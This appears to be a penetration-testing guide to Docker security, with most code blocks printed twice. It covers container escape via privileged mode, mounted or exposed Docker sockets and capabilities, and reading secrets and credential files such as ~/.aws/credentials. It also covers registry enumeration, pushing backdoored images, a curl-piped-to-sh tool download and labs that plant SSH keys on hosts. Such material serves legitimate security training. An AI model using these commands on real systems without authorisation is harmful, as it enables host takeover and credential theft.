Last reviewed

Container Security

Docker Security Testing

Container security assessment covering Docker daemon misconfigurations, container escapes, image vulnerabilities, and registry attacks.

Docker Escape Decision Tree

flowchart TD A["Inside Container"] --> B{"Privileged Mode?"} B -->|Yes| C["Mount host disk nsenter PID 1 → ROOT on host"] B -->|No| D{"Docker socket mounted?"} D -->|Yes| E["docker run --privileged → ROOT on host"] D -->|No| F{"Dangerous Capability?"} F -->|CAP_SYS_ADMIN| G["cgroup escape mount filesystem"] F -->|CAP_SYS_PTRACE| H["Process injection /proc access"] F -->|None| I{"Host PID/NET namespace?"} I -->|Yes| J["See host processes access host network"] I -->|No| K["Look for kernel exploits or misconfigs"]

Container Detection

bash
# Check if running in Docker
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv 2>/dev/null

# Check container ID
cat /etc/hostname

# Container capabilities
cat /proc/self/status | grep Cap
# Check if running in Docker
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv 2>/dev/null

# Check container ID
cat /etc/hostname

# Container capabilities
cat /proc/self/status | grep Cap

Docker Daemon Attacks

Exposed Docker Socket

Critical Vulnerability

An exposed Docker socket (TCP 2375/2376 or mounted /var/run/docker.sock) provides root-equivalent access to the host system.
bash
# Check for exposed TCP socket
nmap -p 2375,2376 --script docker-version TARGET

# Test unauthenticated access
curl http://TARGET:2375/info
curl http://TARGET:2375/containers/json
curl http://TARGET:2375/images/json

# List all containers
curl -s http://TARGET:2375/containers/json?all=1 | jq
# Check for exposed TCP socket
nmap -p 2375,2376 --script docker-version TARGET

# Test unauthenticated access
curl http://TARGET:2375/info
curl http://TARGET:2375/containers/json
curl http://TARGET:2375/images/json

# List all containers
curl -s http://TARGET:2375/containers/json?all=1 | jq

Mounted Docker Socket Escape

bash
# Check for mounted Docker socket
ls -la /var/run/docker.sock

# If present, we can control Docker daemon
docker ps
docker images

# Escape to host
docker run -it --privileged --pid=host --net=host -v /:/host alpine chroot /host
# Check for mounted Docker socket
ls -la /var/run/docker.sock

# If present, we can control Docker daemon
docker ps
docker images

# Escape to host
docker run -it --privileged --pid=host --net=host -v /:/host alpine chroot /host

Container Escape Techniques

Privileged Container

bash
# Check if privileged (all capabilities)
cat /proc/self/status | grep CapEff
# 0000003fffffffff = privileged (all caps)

# Method 1: Mount host disk
fdisk -l  # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host

# Method 2: nsenter to host
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Check if privileged (all capabilities)
cat /proc/self/status | grep CapEff
# 0000003fffffffff = privileged (all caps)

# Method 1: Mount host disk
fdisk -l  # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host

# Method 2: nsenter to host
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

Capability Abuse

Capability Escape Method Risk
CAP_SYS_ADMIN Mount filesystems, cgroup escape Critical
CAP_SYS_PTRACE Process injection, /proc access High
CAP_NET_ADMIN Network manipulation, sniffing Medium
CAP_SYS_MODULE Load kernel modules Critical

Sensitive Mount Escapes

bash
# Check sensitive mounts
mount | grep -E 'proc|sys|dev'
ls -la /dev

# /dev/sda - Host disk access
fdisk -l
mount /dev/sda1 /mnt

# Host network namespace
# If --net=host is set, access host network interfaces
ip addr
# Check sensitive mounts
mount | grep -E 'proc|sys|dev'
ls -la /dev

# /dev/sda - Host disk access
fdisk -l
mount /dev/sda1 /mnt

# Host network namespace
# If --net=host is set, access host network interfaces
ip addr

Image and Registry Attacks

Registry Enumeration

bash
# Check for exposed registry
curl http://REGISTRY:5000/v2/

# List repositories
curl http://REGISTRY:5000/v2/_catalog

# List tags for image
curl http://REGISTRY:5000/v2/IMAGE_NAME/tags/list

# Get manifest
curl http://REGISTRY:5000/v2/IMAGE_NAME/manifests/latest

# Download layer blob
curl -o layer.tar.gz http://REGISTRY:5000/v2/IMAGE_NAME/blobs/sha256:HASH

# Extract and analyze
tar -xzf layer.tar.gz
grep -r password .
grep -r secret .
# Check for exposed registry
curl http://REGISTRY:5000/v2/

# List repositories
curl http://REGISTRY:5000/v2/_catalog

# List tags for image
curl http://REGISTRY:5000/v2/IMAGE_NAME/tags/list

# Get manifest
curl http://REGISTRY:5000/v2/IMAGE_NAME/manifests/latest

# Download layer blob
curl -o layer.tar.gz http://REGISTRY:5000/v2/IMAGE_NAME/blobs/sha256:HASH

# Extract and analyze
tar -xzf layer.tar.gz
grep -r password .
grep -r secret .

Malicious Image Injection

bash
# If write access to registry exists

# 1. Pull legitimate image
docker pull registry:5000/app:latest

# 2. Modify with backdoor
docker run -it registry:5000/app:latest /bin/sh
# Add backdoor, then commit
docker commit CONTAINER_ID registry:5000/app:latest

# 3. Push backdoored image
docker push registry:5000/app:latest
# If write access to registry exists

# 1. Pull legitimate image
docker pull registry:5000/app:latest

# 2. Modify with backdoor
docker run -it registry:5000/app:latest /bin/sh
# Add backdoor, then commit
docker commit CONTAINER_ID registry:5000/app:latest

# 3. Push backdoored image
docker push registry:5000/app:latest

Image Security Scanning

bash
# Trivy - Comprehensive vulnerability scanner
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL nginx:latest

# Grype - Anchore vulnerability scanner
grype nginx:latest

# Dive - Analyze image layers for secrets
dive nginx:latest
# Trivy - Comprehensive vulnerability scanner
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL nginx:latest

# Grype - Anchore vulnerability scanner
grype nginx:latest

# Dive - Analyze image layers for secrets
dive nginx:latest

Runtime Exploitation

Container Process Enumeration

bash
# From host - enumerate containers
docker ps -a
docker inspect CONTAINER

# Get container filesystem
docker export CONTAINER > container.tar

# Copy files from container
docker cp CONTAINER:/etc/passwd ./passwd

# Execute in running container
docker exec -it CONTAINER /bin/bash

# View logs (may contain secrets)
docker logs CONTAINER
# From host - enumerate containers
docker ps -a
docker inspect CONTAINER

# Get container filesystem
docker export CONTAINER > container.tar

# Copy files from container
docker cp CONTAINER:/etc/passwd ./passwd

# Execute in running container
docker exec -it CONTAINER /bin/bash

# View logs (may contain secrets)
docker logs CONTAINER

Secrets in Container

bash
# Environment variables
env

# Docker secrets location
ls -la /run/secrets/
cat /run/secrets/*

# Check for mounted secret files
mount | grep secret

# Common credential locations
cat ~/.aws/credentials
cat ~/.docker/config.json
cat ~/.kube/config
# Environment variables
env

# Docker secrets location
ls -la /run/secrets/
cat /run/secrets/*

# Check for mounted secret files
mount | grep secret

# Common credential locations
cat ~/.aws/credentials
cat ~/.docker/config.json
cat ~/.kube/config

Tools

Deepce

Docker enumeration and escape tool.

bash
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

CDK

Container penetration toolkit.

bash
./cdk evaluate
./cdk run escape-privileged
./cdk evaluate
./cdk run escape-privileged

Amicontained

Container introspection tool.

bash
./amicontained
./amicontained

Docker Bench

CIS Docker benchmark checker.

bash
docker run -it --net host --pid host docker/docker-bench-security
docker run -it --net host --pid host docker/docker-bench-security

Quick Escape Check Script

bash
#!/bin/bash
# Quick container escape enumeration

echo '=== Container Detection ==='
cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo '[+] Running in Docker'
ls /.dockerenv 2>/dev/null && echo '[+] .dockerenv exists'

echo ''
echo '=== Privileges ==='
cat /proc/self/status | grep CapEff

echo ''
echo '=== Sensitive Mounts ==='
ls -la /var/run/docker.sock 2>/dev/null && echo '[!] Docker socket mounted!'

echo ''
echo '=== Network ==='
hostname -I
ip route
#!/bin/bash
# Quick container escape enumeration

echo '=== Container Detection ==='
cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo '[+] Running in Docker'
ls /.dockerenv 2>/dev/null && echo '[+] .dockerenv exists'

echo ''
echo '=== Privileges ==='
cat /proc/self/status | grep CapEff

echo ''
echo '=== Sensitive Mounts ==='
ls -la /var/run/docker.sock 2>/dev/null && echo '[!] Docker socket mounted!'

echo ''
echo '=== Network ==='
hostname -I
ip route

Docker Security Labs

Hands-on practice with Docker attack and escape techniques.

Container Escape Gauntlet Custom Lab hard
Run deepce inside a container to auto-detect escape pathsEscape a privileged container via host disk mount and nsenterEscape via a mounted Docker socket (spawn a new privileged container)Exploit CAP_SYS_ADMIN to perform a cgroup-based escapeAttempt escape from a locked-down container (no caps, seccomp, read-only root)Compare CDK vs deepce vs amicontained detection capabilities
Docker Registry & Image Supply Chain Custom Lab medium
Deploy a private Docker registry without authenticationEnumerate repositories and tags via the registry APIDownload image layers and search for hardcoded secretsInject a backdoor into an existing image and push it backScan images with Trivy and Grype to find known CVEsImplement Docker Content Trust and verify signed images
Exposed Docker Daemon Exploitation Custom Lab medium
Discover an exposed Docker API on port 2375 (no TLS)Enumerate all containers, images, and volumes via the APICreate a privileged container mounting the host filesystemAdd an SSH key to the host's /root/.ssh/authorized_keysRun Docker Bench Security and remediate critical findings